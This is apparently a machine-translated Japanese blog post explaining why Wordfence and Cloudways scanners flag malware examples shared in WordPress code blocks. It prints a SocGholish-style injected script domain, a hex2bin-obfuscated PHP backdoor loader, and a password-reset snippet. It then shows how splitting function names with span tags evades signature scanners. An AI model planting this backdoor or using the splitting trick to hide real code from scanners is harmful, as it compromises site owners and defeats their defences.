このブログには、 WordPress マルウェア関連の内容を紹介しながら、ブロックエディタのコードブロックで悪意のあるスクリプトを共有します。しかし、Wordfenceセキュリティプラグインと クラウドウェイズのMalware Protection機能で例として紹介するために、コードブロックに追加した悪意のあるスクリプトやPHPバックドアコードをマルウェアとして誤って認識し、継続的に警告を表示しています。
この記事では、これらの誤検知がなぜ発生するのか、そしてどのように回避できるかを2つのタイプでまとめています。

オタム(False Positive)とは?
マルウェアスキャナが実際には、無害なファイルやコードを悪意のあるコードで誤って判断することを誤検知(False Positive)といいます。
WordfenceセキュリティプラグインとクラウドウェイズのMalware Protectionは シグネチャベースの検出 方法を使用します。あらかじめ登録されたマルウェアパターン(文字列)とスキャン対象ファイルの内容を比較し、一致すればマルウェアと判断する方式です。
問題はこの方法です 文字列自体のみ比較そのため、セキュリティチュートリアルのようにマルウェアの例を説明目的で公開した場合でも同様に検出されるという点です。
特に、Breeze、W3 Total Cache、WP Super Cache、LiteSpeed CacheなどのキャッシュプラグインがページをHTMLファイルとして保存すると、そのキャッシュファイルにも同じ文字列が残り、セキュリティスキャナがキャッシュファイルをマルウェア感染ファイルと判断するようになります。
Wordfence・クラウドウェイズがコードブロックをマルウェアで検出する際の対処法
クラウドウェイズはマルウェア保護アドオンを導入し、定期的にサイトをスキャンし、マルウェアが検出された場合に電子メールで警告を送信します。
クラウドウェイズのMalware Detectioin機能
以下のメールが最新に受信したマルウェア検出警告メールです。 😄

マルウェアが検出された場合 "Alert: Security issues detected on your application..." 件名に電子メールが送信されます。
クラウドウェイズのアプリケーション管理ページにアクセスして Application Security » Malware Protectionでマルウェア感染を確認できます。

詳細を見るをクリックして感染疑わしい経路を確認できます。

上の図では、3つのファイルと1つのデータベース項目にマルウェアが注入されたものとして示されています。
しかし、すべての例では、コードブロックに追加された悪意のあるスクリプトとPHPバックドアコードに関連するものであり、実際の感染ではありませんでした。
WordPress コードブロックに追加した悪意のあるスクリプトとPHPコードの例をマルウェアとして誤って検出する問題についてクラウドウェイズに報告するまでしましたが、問題は修正されませんでした。マルウェアをそのままコードブロックとして共有する際には注意が必要なようです。
参考までに、クラウドウェイズのMalware Protectionの検出機能は無料で提供され、4項目までマルウェア感染の疑わしい場所を確認することができます。より多くの項目を確認したい場合、またはマルウェアの削除を依頼したい場合は、有料に切り替えることができます。しかし、検出されたファイルやDBエントリからマルウェアを削除することにとどまるため、根本的な解決ができない可能性もあります。つまり、症状だけを見てマルウェアを取り除くことだと考えられます。したがって、再発する可能性が高いです。再発すればまたマルウェアを削除すれば一時的にサイトが正常化されるでしょうが、根本的に解決するには原因を把握して対処しなければなりません。
👉マルウェア感染を含む WordPress またはWebホスティングのトラブルシューティングに問題がある場合 ここでサービス(有料)をご依頼することができます。
WordPress セキュリティプラグインWordfenceのセキュリティ警告
WordPress セキュリティプラグインWordfenceをインストールして有効にすると、サイトを定期的にスキャンし、重大な問題が検出された場合に警告メールを送信します。スキャン周期を設定するオプションがあるかどうかはわかりませんが、何も設定しないと1週間ごとにスキャンするようです。
ワードフェンスは比較的最近インストールされており、2回マルウェア関連の警告メールを受け取りました。
このメールは、DBにasync [.] gsyndication [.] com関連のマルウェアが注入されたことを示す警告です。

以下は、昨日受信したメールでBreezeプラグインでキャッシュされたHTMLファイルに悪意のあるコードが挿入されたという内容です。

どちらのケースも、コードブロックに追加されたスクリプト例とPHPバックドアコードをマルウェアとして誤って認識して警告メールを送信しました。
このようなメールを受け取ったら、実際の感染になったかどうかをチェックすることが重要です。実際の感染が確認されたら、マルウェアを完全に削除し、セキュリティ対策を講じる必要があります。
誤検出が発生する2つのタイプ
タイプ1 - 悪意のあるJavaScriptドメインアドレスをコードブロックに追加した場合
WordPress サイトをハッキングした攻撃者は、訪問者のブラウザを悪意のあるサイトに誘導したり、悪意のあるスクリプトを実行したりするために、次のコードをページに挿入する可能性があります。

async[.]gsyndication[.]comはSocGholishマルウェアキャンペーンで実際に使用されたドメインであり、Wordfenceとクラウドウェイの両方がこのドメイン文字列をマルウェアサインとして登録しています。
したがって、ブログでこのスクリプトを例として紹介するためにコードブロックにそのまま追加すると、セキュリティスキャナはそのポストとキャッシュファイルを感染ファイルとして検出します。
Wordfence検出メッセージの例:
파일에서 일치하는 텍스트: async[.]gsyndication[.]com
문제 유형: Malware signature
回避策 – ドメイン アドレスのドット (.) を [.] で表記
セキュリティ業界では、悪意のあるドメインまたはIPアドレスを文書に表記するとき Defangingという慣行を使用します。ドット(.)を[.]に変えて実際のURLで動作しないように無力化する表記方式です。 MITRE ATT&CK、各種セキュリティインテリジェンスレポートでも標準のように使用する方法です。
コードブロックに次のように表記します。
<script src="https://async[.]gsyndication[.]com/"></script>
これにより、セキュリティスキャナのシグネチャと完全に一致しないため、検出を避けることができ、読者にとってもこのドメインが実際の悪意のあるアドレスであることを明確に認識できます。
この方法は、先ほど次の記事で紹介したことがあります。
タイプ2 - PHPマルウェアの例をコードブロックに追加した場合
WordPress ブログで実際の攻撃に使用されたPHPバックドアコードを例として紹介したい場合があります。代表的な2つのパターンが誤検出を引き起こす。
パターンA – WordPress 管理者パスワードのリセット wp_set_password関数
WordPress 管理者パスワードを強制的にリセットする方法を紹介するときによく使用されるコードです。

Wordfenceはこの関数名をハードコードされたパスワードリセットバックドアシグネチャとして登録しています。

문제 유형: Backdoor:PHP/wpinfoajinsert.5689
설명: Hardcoded password reset, common part of WordPress backdoors
パターンB – hex2bin() + file_get_contents() の組み合わせ
SocGholishなどのマルウェアが実際に使用する難読化バックドアパターンです。
if ((is_admin() || (function_exists('get_hex_cache'))) !== true) {
add_action('wp_head', 'get_hex_cache', 12);
function get_hex_cache()
{
return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp'))));
}
}
Wordfenceはこれらのパターンを検出し、マルウェアとして認識します。

문제 유형: Obfuscated:PHP/hex2bin.13185
설명: Trigger for hex obfuscated malicious code
回避策 – タグによる文字列の分離 (String Splitting)
コードブロック内のキー関数名をタグで分割すると、セキュリティスキャナのシグネチャと完全に一致しないため、検出を回避できます。ブラウザはタグをレンダリングしながら視覚的に完全な文字列を表示するので、読者が読むことには全く問題はありません。
wp_set<span>_pass</span>word( 'password', 1 );
if ((is_admin() || (function_exists('get_hex_cache'))) !== true) {
add_action('wp_head', 'get_hex_cache', 12);
function get_hex_cache()
{
return print(@<span>hex2</span>bin( '3c7' . (<span>file_get</span>_contents(__DIR__ .'/_inc.tmp'))));
}
}
上記のようにタグを追加したコードをコードブロックではなくカスタムHTMLブロックに追加します。

上記の手順を実行したら、WordfenceまたはCloudwaysのMalware Protectionがマルウェアとして検出されているかどうかを確認する必要があります。
WordPressからキャッシュを削除した後にWordfenceスキャナを実行すると、すぐに変更が反映され、結果が表示されます。クラウドウェイズの場合は、3日間または1日後にMalware Protectionページにアクセスして確認できます。
私は数ヶ月間クラウドウェイズからマルウェア感染の警告を続けてきたので、緊張していました。
Application Security » Malware Protectionを訪問したとき、 "Your application is prone to malware attacks. Enable malware protection to maximize the protection of your application" プロンプトが表示されたら、マルウェアのない正常な状態です。

WordPressでマルウェアスキャンを実行しても、 「新しい問題が見つかりませんでした」が表示されます。😄

よくある質問(FAQ)
Q1.コードブロックに書いたサンプルコードですが、なぜマルウェアとして検出されますか?
WordfenceとクラウドウェイズMalware Detectionはシグネチャベースの検出方法を使用します。コードが実際に実行されているかどうかにかかわらず、登録されたマルウェアパターン文字列と一致する場合は、無条件にマルウェア/マルウェアとして検出します。 WordPress ブログ 記事からコードブロックへの例示目的で書かれたコードも例外はありません。
Q2.キャッシュファイルを削除すると誤検出の問題は解決しますか?
一時的に解決されます。ただし、キャッシュプラグインがページを再キャッシュすると、同じ文字列がキャッシュファイルに再保存され、再検出されます。根本的な解決のためには、ポスト本体のコードを Defanging([.] 表記) やString Splitting 方式で修正した後、キャッシュプラグインのキャッシュを削除してキャッシュを再生成する必要があります。 CloudwaysのMalware Protectionでは、キャッシュを削除してから数時間(または1日)ほど経過して反映されます。
Q3. Wordfenceスキャンで誤検出された項目は無視(Ignore)できますか?
誤検知が確実に確認された場合に限り無視処理が可能です。ただし、キャッシュファイルは再生成されるたびにファイルパス(ハッシュ値)が変わるため、無視処理したパスが無効化され、繰り返し再検出されることがあります。投稿でコードを修正する方法がより基本的な解決策です。
Q4. DBでエラーが発生した場合は、ポストを修正するとすぐに解決されますか?
ポストを変更して保存すると、wp_postsテーブルの内容が更新され、DBの誤解が解決されます。ただし、変更後は必ずキャッシュを空にして再生成しなければキャッシュファイルでの誤検知も解決されます(Cloudways Malware Protectionは時間がかかる)。修正後、Wordfenceスキャンを再実行して検出項目が消えたかどうかを確認することをお勧めします。
Q5.実際のマルウェア感染と誤検出をどのように区別しますか?
SSHでは、次のコマンドでPHPソースファイルを直接検索して区別できます。
# 실제 PHP 파일에서 악성 패턴 검색 예시
grep -r "wp_set_password" /path/to/public_html/ --include="*.php" -l
grep -r "hex2bin" /path/to/public_html/ --include="*.php" -l
grep -r "gsyndication" /path/to/public_html/ --include="*.php" -l
キャッシュファイルでのみ検出され、PHPソースファイルから検索されない場合は誤検出です。逆に、PHPファイルでも同じパターンが見つかった場合は、実際の感染を疑ってすぐにそのファイルの内容を確認する必要があります。
最後に、
クラウドウェイズの場合、強力な独自のサーバーファイアウォールが装備されており、Malware Protection機能を使用してマルウェアを事前に検出できるため、別のセキュリティプラグインをインストールしなくても安全に WordPress サイトを運営することができます。
私はサイトの速度が低下するのではないかと心配してWordfenceをインストールしていませんでしたが、速度制限(Rate Limiting)設定が必要なので、WordFenceをインストールしました。
ワードフェンスは7日ごとにサイトをスキャンして問題が発生した場合に電子メールで警告を提供するため、サイトをより安全に運営するのに役立つようです。
クラウドウェイズのMalware ProtectionアドオンとWordfenceのマルウェアスキャン機能により、コードブロックとして共有する悪意のあるスクリプトがマルウェアとして誤って検出される可能性があります。マルウェアのソースを共有するときは、この問題を回避するためにこの記事で紹介した方法を適用してみてください。
シグネチャベースのスキャナがコードブロックとキャッシュファイルを誤って探していることをよく説明しました。私もワードフェンスでサンプルコードがマルウェアとして検出され、この記事を参考にして問題を解決しました😀